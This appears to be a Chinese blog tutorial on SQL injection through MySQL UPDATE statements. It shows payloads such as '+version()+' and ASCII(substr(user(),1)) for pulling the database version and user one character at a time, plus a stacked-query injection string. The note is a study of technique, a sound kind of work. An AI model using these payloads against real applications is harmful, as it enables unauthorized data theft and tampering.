zoukankan      html  css  js  c++  java
  • update注入之我理解

    1、基本语法

    update test.test_table set username='admin123',password=000 where id=1;

    update test.test_table set username='admin000''aaaaa,password=000 where id=1;

    修改为 admin000'aaaaa

    update警告:

    必须where限制,否则表中所有的username、password都变为admin123、123。

    意思是测试时不能注释掉后面的where

    2、'+version()+',查询数据库版本号

    update test.test_table set username=''+version()+'',password=123 where id=1;

    3、不能+user()+,但支持sleep()

    mysql中+表示相加,若是字符串转为整型,结果为0,即0+user()+0为0+0+0,导致没法查询到任何数据

    0+version()+0,返回0+5.7.26+0,相加结果5.7.26

    注意:

    如果是SQL Server,+ 可连接两个字符串,不是相加,可以使用 +user()+直接查询user()

    4、如何查询user()

    ①、'+length(user())+',只能用数字,长度符合数字

    长度为14,发现root@localhost确实为14

    ②、ASCII()函数也符合数字

    '+ASCII(substr(user(),1))+'         获取user()第一个字符从ascii

    update test.test_table set username=''+ASCII(substr(user(),1))+'',password=44444444 where id=4;

    第一个字符的ascii为114,就是字符 r,以此类推,不断查询user()的字符。

    5、查询与update注入不一样

    当遇到查询注入时,是没法使用上述语法(除了sleep()),'+version()+'没法使用,用此代替admin123';select version();--,或其它注入语句代替。

    select * from test.test_table where username='admin123';select user();--

  • 相关阅读:
    读《淘宝数据魔方技术架构解析》有感
    架构之谈
    读《蚂蚁金服11.11:支付宝和蚂蚁花呗的技术架构及实践》有感
    第八周周总结
    hadoop安装和配置
    第七周周总结
    [BZOJ]2836: 魔法树
    [BZOJ]4540: [Hnoi2016]序列
    [BZOJ]1511: [POI2006]OKR-Periods of Words
    [BZOJ]1116: [POI2008]CLO
  • 原文地址:https://www.cnblogs.com/0xpub/p/12977671.html
Copyright © 2011-2022 走看看